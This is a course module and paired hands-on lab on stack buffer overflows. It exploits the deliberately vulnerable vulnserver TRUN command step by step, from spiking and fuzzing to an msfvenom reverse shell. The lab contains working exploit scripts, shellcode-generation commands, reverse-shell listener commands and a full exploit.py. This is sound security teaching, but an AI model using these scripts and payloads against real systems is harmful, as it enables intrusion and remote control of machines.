Buffer Overflow
Objectives: By the end of this topic, you will be able to…
- Conceptually explain what a buffer overflow is
- Identify a vulnerable network command through spiking and fuzzing
- Calculate the exact offset to overwrite the instruction pointer
- Redirect execution to attacker-controlled shellcode
- Generate and deliver a working reverse shell payload
What is a buffer overflow?
A buffer overflow occurs when a program writes more data than a memory buffer can hold, overwriting adjacent areas. This behavior can be exploited to manipulate the program’s execution flow and execute arbitrary code.
This vulnerability is common in programs written in C or C++, which do not automatically check array bounds. The difference between a safe and an unsafe read is often a single function call:
char buffer[64];
/* Vulnerable: strcpy() has no length limit —
input longer than 63 chars silently overwrites adjacent memory */
strcpy(buffer, input);
/* Bounded: strncpy() copies at most n-1 characters, but it does NOT
add a null terminator when input fills that space, so write one */
strncpy(buffer, input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';strcpy was never removed from C, but its use is considered unsafe in any context where the source length is not already known to be bounded.
Question
Look at the two copies in the C example above. The bounded version takes two lines, not one. What does the
- 1reserve space for, and what would go wrong if you dropped the second line?
Program memory: stack, heap, and registers
Stack
The stack is a LIFO (Last In, First Out) memory area that stores local variables and function return addresses. Its predictable structure makes it highly prone to overflow vulnerabilities: data written past the end of a local buffer can reach and overwrite adjacent values, including the return address.
Heap
The heap is the memory region for dynamic allocation (e.g., malloc). Heap overflows exist and are exploited in practice, but they corrupt allocator metadata rather than a return address, so they need a different technique from the stack-based one this session targets.
CPU Registers
Registers such as EIP (Extended Instruction Pointer, 32-bit) and RIP (Register Instruction Pointer, 64-bit) store the address of the next instruction to execute. Overwriting these registers is the core goal of a stack-based exploit, because it allows the attacker to redirect the program’s execution flow to arbitrary code.
ESP (Extended Stack Pointer) always points to the current top of the stack. It decreases as values are pushed and increases as values are popped. When a function executes ret, the CPU pops the return address into EIP and increments ESP by 4, advancing it past the return address slot. In a crafted exploit payload, the bytes immediately following the overwritten return address are the attacker’s shellcode, which is exactly where ESP lands after ret executes.
Question
Both the stack and the heap can be overflowed, yet this technique targets the stack. Before reading on: what does the stack store, right next to a local buffer, that makes overwriting it directly useful to an attacker?
Function structure in assembly (stack frame)
When a function is called, a stack frame is created:
|---------------------| <- higher addresses
| Parameters |
|---------------------|
| Return Address (EIP)| <- overwriting this redirects execution
|---------------------|
| Saved EBP (Base Ptr)|
|---------------------|
| Local Variables | <- buffer lives here; overflow grows upward
|---------------------| <- lower addresses (ESP)
Overflowing a local buffer overwrites the return address, redirecting the program’s flow when the function returns.
How the overflow reaches EIP
The buffer lives at the bottom of the stack frame (lowest address). When strcpy copies our input into it, it writes sequentially toward higher addresses. Once the buffer is full, the write continues into the saved EBP and then into the return address, with no error or exception.
The number of bytes required to reach the return address is the offset. After the offset, the next 4 bytes land exactly on EIP. Everything after that sits in memory just above the return address slot, which is where our shellcode will be:
Our input → [ A * offset ][ EIP value ][ shellcode... ]
↓ ↓ ↓
Stack → [ buffer ][ ret addr ][ ← ESP here after ret ]
When the function executes ret, the CPU loads the overwritten return address into EIP, giving the attacker complete control of execution.
Example
Trace the diagram in one direction. Your input starts at the buffer (lowest address) and
strcpywrites toward higher addresses. Name, in order, the three things your bytes pass through before they reach the return address, and say which one you have to fill completely before the next is even touched.
EIP / RIP and control of execution flow
In 32-bit systems EIP holds the address of the next instruction to execute; in 64-bit systems RIP serves the same role. A successful buffer overflow overwrites this value, diverting execution to shellcode or another attacker-controlled address.
The classic exploitation technique redirects EIP to a JMP ESP instruction found somewhere in a loaded module. When the function returns:
- EIP is loaded with the address of
JMP ESP - The
JMP ESPinstruction executes, jumping to ESP - ESP points directly at the shellcode we placed after the overwritten EIP
- The shellcode runs
Encoding an address: little-endian
When you write an address into the payload (the address of the JMP ESP instruction that overwrites the return address), you cannot write it in the order you read it. The x86 architecture is little-endian: it stores a multi-byte value with its least significant byte at the lowest memory address. An address you read as 0xAABBCCDD is laid out in memory, byte by byte, as DD CC BB AA. So the four bytes you place in the payload must be the reverse of the printed address: \xDD\xCC\xBB\xAA. Write the bytes in reading order and the CPU will interpret a completely different address, and the jump will land nowhere useful.
Question
The redirection uses a
JMP ESPinstruction rather than jumping straight to a hard-coded stack address. Given what you know about ASLR from the protections table, why is “jump to wherever ESP currently points” more reliable than “jump to address0x...”?
Finding the overflow: spiking, fuzzing, and offsets
Before you can overwrite a return address, you have to find an input that reaches one, and then work out exactly how far into that input the return address sits. Three techniques, applied in order, get you there.
Spiking is how you find which input is vulnerable when a program accepts several. You send each input handler a block of data far larger than it could reasonably expect and watch which one makes the program die. A crash is not the goal in itself; it is a signal that this particular input path writes attacker-controlled data somewhere it should not. Spiking narrows a program with many commands down to the one worth attacking.
Fuzzing, in this context, answers a different question: roughly how much data does it take to trigger the crash? Once you know which input is vulnerable, you send it progressively larger payloads, in fixed increments, until it crashes, and you record the size at which that happened. This is a coarse measurement, not an exact one. Its only job is to give you an upper bound so the next step can be sized correctly. Spiking tells you where; fuzzing tells you roughly how big.
Knowing the approximate crash size is not enough to build an exploit, because you still do not know which bytes of your input land on the return address. Filling the buffer with a single repeated character such as A proves you overwrote the pointer (it becomes 0x41414141), but it cannot tell you where in your input those four bytes came from. This is what a cyclic pattern (also called a De Bruijn sequence) solves. It is a string constructed so that every four-byte window in it is unique, appearing nowhere else in the sequence. When the program crashes, the four bytes sitting in the instruction pointer are a substring that occurs at exactly one position in the pattern. Reading those bytes back and looking up their position gives you the offset directly, in one crash, with no guessing. The generator that produces the pattern and the tool that looks up the offset are matched pairs: one emits the sequence, the other reverses the lookup.
Size the pattern comfortably larger than the crash size fuzzing gave you. If the pattern is shorter than the number of bytes needed to reach the return address, the overwrite never happens inside the pattern and the lookup fails.
Question
A colleague fills a buffer with 3000
Acharacters, crashes the program, and sees the instruction pointer holding0x41414141. They conclude they need “about 3000 bytes” to reach it. Why can they not read the exact offset from this result, and what would a cyclic pattern have told them that a wall ofAs cannot?
Shellcode and reverse shells
Shellcode is the attacker’s payload: a small piece of machine code injected into the vulnerable process’s memory and executed once EIP is controlled. The name comes from its classic goal: spawning an interactive shell (/bin/sh).
A reverse shell is a connection that the victim machine initiates outward to the attacker, rather than the attacker connecting inward. This sidesteps firewalls that block unsolicited incoming connections. The attacker listens on a port with a tool like nc, and the shellcode running inside the victim process connects back, handing over an interactive shell:
Attacker (Kali) Victim (vulnerable process)
nc -lvnp 4444 ←── reverse TCP ── shellcode running
$ id inside the process
uid=1000(kali)
Tools like msfvenom generate shellcode for any target platform, payload type, and port, outputting ready-to-embed bytes. Bad characters must be excluded so the shellcode survives the server’s input processing intact.
Example
A reverse shell has the victim connect outward to you. Sketch why that direction defeats a firewall that drops unsolicited inbound connections but allows outbound ones, and predict which machine runs the listener and which runs the payload.
Modern protections
| Protection | Description |
|---|---|
| ASLR (Address Space Layout Randomization) | Randomizes memory region locations to prevent jumping to predictable addresses |
| DEP / NX (Data Execution Prevention / No-Execute) | Marks memory regions as non-executable (like the stack) |
| Stack Canaries | Random values before the return address that detect overwrites |
| PIE | Position-Independent Executable — randomizes the binary’s own load address |
This lab targets a 32-bit binary compiled without these protections, which is common in legacy software and embedded systems.
Question
Legacy and embedded software is often compiled with every protection in this table turned off. Pick any two protections and state, for each, which specific step of a stack overflow it would have broken if it were left on.
Hands-on lab
Requirements: Kali Linux,
gcc,gcc-multilib,python3,pipx, Metasploit tools (msf-pattern_create,msfvenom)
The target is vulnserver — a deliberately vulnerable TCP (Transmission Control Protocol) server. We compile and run it natively on Kali Linux as a 32-bit binary, which gives us direct access to GDB (GNU Debugger) and makes shellcode execution straightforward. The GDB workflow used here (run, info registers, x/…) is the one introduced in 05-reverse-engineering.
The exploitation follows the classic 7-step methodology:
| Step | Goal |
|---|---|
| 1. Spiking | Send large inputs to each command to identify which one crashes the server |
| 2. Fuzzing | Bombard the vulnerable command with growing payloads to find the approximate crash size |
| 3. Offset | Use a cyclic pattern to pinpoint the exact byte count that overwrites EIP |
| 4. EIP Overwrite | Confirm full EIP control by placing a known value (BBBB) there |
| 5. Bad Characters | Identify bytes the server corrupts — these cannot appear in the shellcode |
| 6. JMP ESP | Find a fixed-address JMP ESP instruction to redirect execution to the stack |
| 7. Shellcode | Deliver a working payload and receive a reverse shell |
Working as a pair. This exploit is built by two people passing findings back and forth, not by two people running the same script side by side. Decide now who is the Debugger operator (runs vulnserver under GDB, reads register and stack state) and who is the Exploit developer (writes and sends the Python scripts, generates patterns and shellcode). You will work on two machines (or two Kali VMs): the operator hosts vulnserver, the developer targets the operator’s IP address. Keep a shared note open (a scratch file or a chat window) with three lines you will fill in as you go: EIP value, bad characters, and JMP ESP address (little-endian). Each line is produced by the operator reading GDB and consumed by the developer building the payload. When a line is blank, the developer is blocked and the pair’s job is to unblock it, not to have the developer guess. Swap roles for a second
TRUNrun if time allows, so both of you have driven the debugger and written a payload.
Setup: Compiling and running vulnserver
The Debugger operator owns this setup: compile and run vulnserver on the operator’s machine, and keep it running there for the rest of the lab. The Exploit developer works from a second machine and targets the operator’s IP address.
1. Install dependencies:
sudo apt update
sudo apt install -y gcc gcc-multilib python3 gdb pipx
pipx install ropgadget2. Clone the source code:
git clone https://github.com/velomeister/linux-vulnserver.git
cd linux-vulnserver3. Compile:
gcc vulnserver.c -o vulnserver \
-m32 -fno-stack-protector -z execstack -no-pie -lpthreadThe flags disable all modern mitigations for the purposes of this lab:
| Flag | Effect |
|---|---|
-m32 | Compile as 32-bit (EIP-based, simpler offsets) |
-fno-stack-protector | Disable stack canaries |
-z execstack | Mark the stack as executable |
-no-pie | Fixed binary load address (no ASLR on the binary itself) |
4. Run vulnserver:
./vulnserverStarting vulnserver version 1.00
This is vulnerable software!
Do not allow access from untrusted systems or networks!
Waiting for client connections...
5. Connect with netcat to explore the server:
From the Exploit developer machine, targeting the operator’s IP (shown here as SERVER_IP):
nc -nv SERVER_IP 9999(UNKNOWN) [SERVER_IP] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.
Type HELP to see available commands:
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
The goal is to find which of these commands is vulnerable to a buffer overflow.
If the operator and developer share one machine for a first read-through,
SERVER_IPis simply127.0.0.1. The pair split only becomes real across two machines, which is what makes the handoffs below physical rather than two people at one keyboard.
Part 1: Spiking — finding the vulnerable command
Spiking is the process of sending a large amount of data to each command to see which one crashes the server. The Exploit developer writes a small Python script for each command to test; the Debugger operator reports whether the server survived each spike.
The TRUN command only triggers its vulnerable code path when the input contains a
.character. We use the prefix/.:/to satisfy this check.
The operator restarts vulnserver between each spike.
spike_stats.py — test STATS:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("SERVER_IP", 9999))
s.recv(1024)
s.send(b"STATS /.:/ " + b"A" * 5000 + b"\r\n")
s.close()
print("Done — server still running?")Run it and try connecting again with netcat. STATS should still respond — it is not vulnerable.
spike_trun.py — test TRUN:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("SERVER_IP", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + b"A" * 5000 + b"\r\n")
s.close()
print("Done — server still running?")After running this, vulnserver will crash. Trying to connect again with netcat will fail — TRUN is vulnerable.
Part 2: Fuzzing — finding the approximate crash size
Now that we know TRUN is vulnerable, the Exploit developer fuzzes it to find approximately how many bytes cause the crash. The Debugger operator restarts vulnserver, then the developer runs:
fuzz.py:
import socket
import time
buffer = b"A" * 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("SERVER_IP", 9999))
s.recv(1024)
print(f"Sending {len(buffer)} bytes...")
s.send(b"TRUN /.:/ " + buffer + b"\r\n")
s.close()
time.sleep(1)
buffer += b"A" * 100
except Exception as e:
print(f"Fuzzing crashed at approximately {len(buffer)} bytes")
breakpython3 fuzz.pyNote the approximate byte count at which the crash occurs — the developer carries it into Part 3.
Part 3: Finding the exact offset
To find the exact byte offset at which EIP is overwritten, we send a cyclic (De Bruijn) pattern — a sequence where every 4-byte substring is unique. The Debugger operator reads the EIP value from the crash and hands it to the Exploit developer, who calculates the offset.
For this step the operator runs vulnserver inside GDB so registers can be inspected after the crash.
1. The operator starts vulnserver inside GDB:
gdb -q ./vulnserver
(gdb) runLeave this terminal open. GDB will catch the crash automatically.
2. The developer generates a pattern longer than the fuzz crash size and sends it:
Use a length comfortably larger than the byte count at which fuzzing crashed the server in Part 2. For example, if fuzzing crashed at around 2100 bytes, then 3000 is a safe length. If the pattern is shorter than the bytes needed to reach EIP, the overwrite never lands inside the pattern and the offset lookup fails.
msf-pattern_create -l 3000find_offset.py:
import socket
pattern = b"<paste the output of msf-pattern_create here>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("SERVER_IP", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + pattern + b"\r\n")
s.close()3. The operator reads the EIP value from GDB:
GDB will catch the segfault and print:
Program received signal SIGSEGV, Segmentation fault.
0xXXXXXXXX in ?? ()
(gdb) info registers eip
eip 0xXXXXXXXX 0xXXXXXXXX
Handoff 1 — EIP value. The operator reads this EIP value out of GDB and gives it to the developer. The developer cannot run the next command without it; write it on the shared note.
4. The developer calculates the exact offset:
msf-pattern_offset -l 3000 -q <EIP_VALUE>[*] Exact match at offset <YOUR_OFFSET>
Question
Why does a cyclic (De Bruijn) pattern make finding the offset easier than filling the buffer with a single repeated character like
A?
Part 4: Overwriting the EIP
The Exploit developer verifies full EIP control by sending exactly <offset> A’s followed by 4 B’s. If the offset is correct, EIP will contain 0x42424242, which the Debugger operator confirms in GDB.
The operator restarts vulnserver inside GDB, then the developer runs:
overwrite_eip.py:
import socket
offset = <YOUR_OFFSET> # value from msf-pattern_offset
shellcode = b"A" * offset + b"B" * 4
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("SERVER_IP", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + shellcode + b"\r\n")
s.close()GDB should show:
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
We fully control EIP.
Question
In a real exploit, what value would replace the four B bytes, and how would you ensure that value is stable across runs?
Part 5: Finding bad characters
Some byte values cannot be used in shellcode because the server’s parsing code will strip, alter, or truncate them. These are called bad characters. The null byte (\x00) is the most universal bad character because C string functions treat it as a string terminator.
The Exploit developer sends every possible byte value (\x01–\xff) after the EIP overwrite; the Debugger operator inspects the stack in GDB and reports which bytes arrived intact.
The operator restarts vulnserver (no GDB needed for the send), then the developer runs:
badchars.py:
import socket
offset = <YOUR_OFFSET> # value from msf-pattern_offset
# All bytes from \x01 to \xff (\x00 excluded — it terminates C strings)
badchars = bytes(range(1, 256))
shellcode = b"A" * offset + b"B" * 4 + badchars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("SERVER_IP", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + shellcode + b"\r\n")
s.close()To inspect which bytes arrived on the stack, the operator restarts vulnserver inside GDB, the developer re-runs the script, and after the crash the operator runs:
(gdb) x/256xb $esp
This prints 256 bytes at ESP as a hex dump. The operator scans for any missing or out-of-order byte values. If \x0d is missing, for example, it is a bad character that must be excluded from the shellcode.
For vulnserver’s TRUN command, no bad characters exist beyond \x00 — all bytes \x01–\xff pass through cleanly.
Handoff 2 — bad-character list. The operator reports the corrupted bytes (here, only
\x00) to the developer, who needs them to setmsfvenom -bin Part 7 and to reject unsuitable gadget addresses in Part 6. Record them on the shared note.
Part 6: Finding a JMP ESP gadget
We need to replace the four B bytes with the address of a JMP ESP instruction located in a module loaded at a fixed address. When the function returns:
- EIP loads the JMP ESP address
JMP ESPexecutes, jumping to the top of the stack- ESP points to our shellcode
Our vulnserver binary contains a deliberate JMP ESP gadget in the jmp_esp_gadget() function. Since we compiled with -no-pie, its address is fixed every run.
The Debugger operator runs ROPgadget against the binary they compiled and selects a clean gadget:
ROPgadget --binary vulnserver | grep "jmp esp"ROPgadget may return several results. Apply these criteria to pick the best one:
- Prefer a clean
jmp esp— avoid gadgets with prefixes likecallor sequences likeadd [eax], al; jmp esp, as extra instructions can corrupt registers or memory before the jump. - Avoid addresses containing bad characters — if
\x00is a bad char (it always is), any address with a null byte will be truncated. Check that none of the four bytes in the address are in the bad-chars list from Part 5. - Prefer the binary’s own code section — addresses in
vulnserveritself (around0x0804xxxx) are fixed because we compiled with-no-pie. Gadgets in shared libraries may shift if the library version changes.
Handoff 3 — JMP ESP address. The operator hands the chosen address to the developer. The Exploit developer converts it to little-endian format (x86 stores multi-byte values with the least significant byte first). For example, if the address is
0xAABBCCDD, the little-endian bytes are\xDD\xCC\xBB\xAA. Record both forms on the shared note.
Verify the gadget works. The operator restarts vulnserver inside GDB and the developer runs:
verify_jmp.py:
import socket
offset = <YOUR_OFFSET> # value from msf-pattern_offset
jmp_esp = b"<JMP_ESP_BYTES>" # little-endian bytes of your JMP ESP address
shellcode = b"A" * offset + jmp_esp
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("SERVER_IP", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + shellcode + b"\r\n")
s.close()After the crash, GDB will show EIP somewhere on the stack (an address in the same range as ESP), and the disassembly will show it trying to execute bytes from our payload:
$eip : 0xf7d5437d
$esp : 0xf7d5436c
This is the expected result. The JMP ESP jumped to ESP and the CPU began executing whatever bytes were there (the trailing A’s and \r\n). The crash happens because those bytes are not valid shellcode — not because of memory protection. The stack is executable. The next step places a real payload there.
Part 7: Generating shellcode and gaining access
The final payload combines every value found in the previous steps into a single crafted buffer:
[ A * offset ][ JMP ESP addr ][ NOP sled ][ shellcode ]
↑ ↑ ↑ ↑
fills the overwrites landing pad reverse
buffer up to return addr (\x90 × 32) shell
EIP (4 bytes, payload
little-endian)
When sent to vulnserver:
- The A’s fill the buffer exactly up to the return address
- The JMP ESP address overwrites EIP — on
ret, execution jumps to the JMP ESP gadget - JMP ESP redirects execution to ESP, which now points to the NOP sled
- The NOP sled slides into the shellcode
- The shellcode connects back to our listener
The Exploit developer assembles this final buffer from the three values on the shared note plus:
<YOUR_OFFSET>bytes of padding (A’s) to fill the buffer- 4 bytes of JMP ESP address in little-endian format
- A NOP sled (No Operation,
\x90× 32) — gives the shellcode some landing room - The shellcode — a reverse shell that connects back to the developer
1. The developer opens a listener:
nc -lvnp 44442. The developer generates the reverse shell payload:
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=DEV_IP LPORT=4444 \
-f python -b "\x00"Set
LHOSTto the developer’s own IP address, so the reverse shell returns to the developer’s listener. Add any bytes from the Part 5 bad-character list to-b; for vulnserver’s TRUN, that is just\x00.
3. The developer builds and runs the final exploit:
exploit.py:
import socket
offset = <YOUR_OFFSET> # value from msf-pattern_offset
jmp_esp = b"<JMP_ESP_BYTES>" # little-endian bytes of your JMP ESP address
# Paste the buf variable from msfvenom output here
buf = b""
buf += b"..." # truncated — paste full msfvenom output
nop_sled = b"\x90" * 32
shellcode = b"A" * offset + jmp_esp + nop_sled + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("SERVER_IP", 9999))
s.recv(1024)
s.send(b"TRUN /.:/ " + shellcode + b"\r\n")
s.close()
print("Payload sent.")The Debugger operator restarts vulnserver (outside GDB this time), then the developer runs the exploit:
python3 exploit.pyThe developer switches to the terminal running nc -lvnp 4444. You should receive a shell:
listening on [any] 4444 ...
connect to [DEV_IP] from (UNKNOWN) [SERVER_IP] ...
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
$
Cleanup
No persistent system changes are made during this lab. When you are done, simply terminate vulnserver.
Submission
-
Screenshots of:
- TRUN crash during spiking (vulnserver process killed)
- Fuzzer output showing approximate crash byte count
- GDB output showing EIP value from cyclic pattern crash
msf-pattern_offsetresult- GDB showing
EIP:42424242after EIP overwrite step - GDB showing EIP on the stack after JMP ESP verification
- ROPgadget output showing the JMP ESP address
- Reverse shell received in the netcat listener
-
A short report, jointly written, that shows both roles’ work. It must include the operator’s GDB read-outs (the EIP value, the
x/256xb $espdump excerpt showing the bad-character check, the ROPgadget output with the chosen address) and the developer’s artifacts (themsf-pattern_offsetresult, themsfvenominvocation, the final assembledexploit.py). State, in one sentence per handoff, which of you produced each of the three shared values (EIP value, bad characters, JMP ESP address) and at which step it crossed to the other. A report that shows only one machine’s screenshots has not demonstrated the pair worked as a pair. Also include:- The approximate crash size found during fuzzing
- The exact offset calculated with
msf-pattern_offset - The JMP ESP address you found with ROPgadget, in both hex and little-endian byte format
- The bad characters you identified (if any beyond
\x00) - Any difficulties encountered and how you resolved them
Key concepts
| Term | Definition |
|---|---|
| Buffer overflow | Vulnerability caused by writing beyond the boundaries of a memory buffer |
| RIP | Registers that store the address of the next instruction to execute |
| ESP | Register that points to the top of the stack; shellcode lands here after overflow |
| Stack | LIFO memory structure for local variables and return addresses |
| ASLR | Address Space Layout Randomization — randomizes module load addresses |
| NOP sled | Sequence of NOP (\x90) instructions that slide execution into the shellcode |
| Shellcode | Injected machine code to open a system shell or establish a reverse connection |
| JMP ESP | Assembly instruction that redirects execution to the top of the stack |
| Bad characters | Byte values that are altered or stripped by the target, making them unusable in shellcode |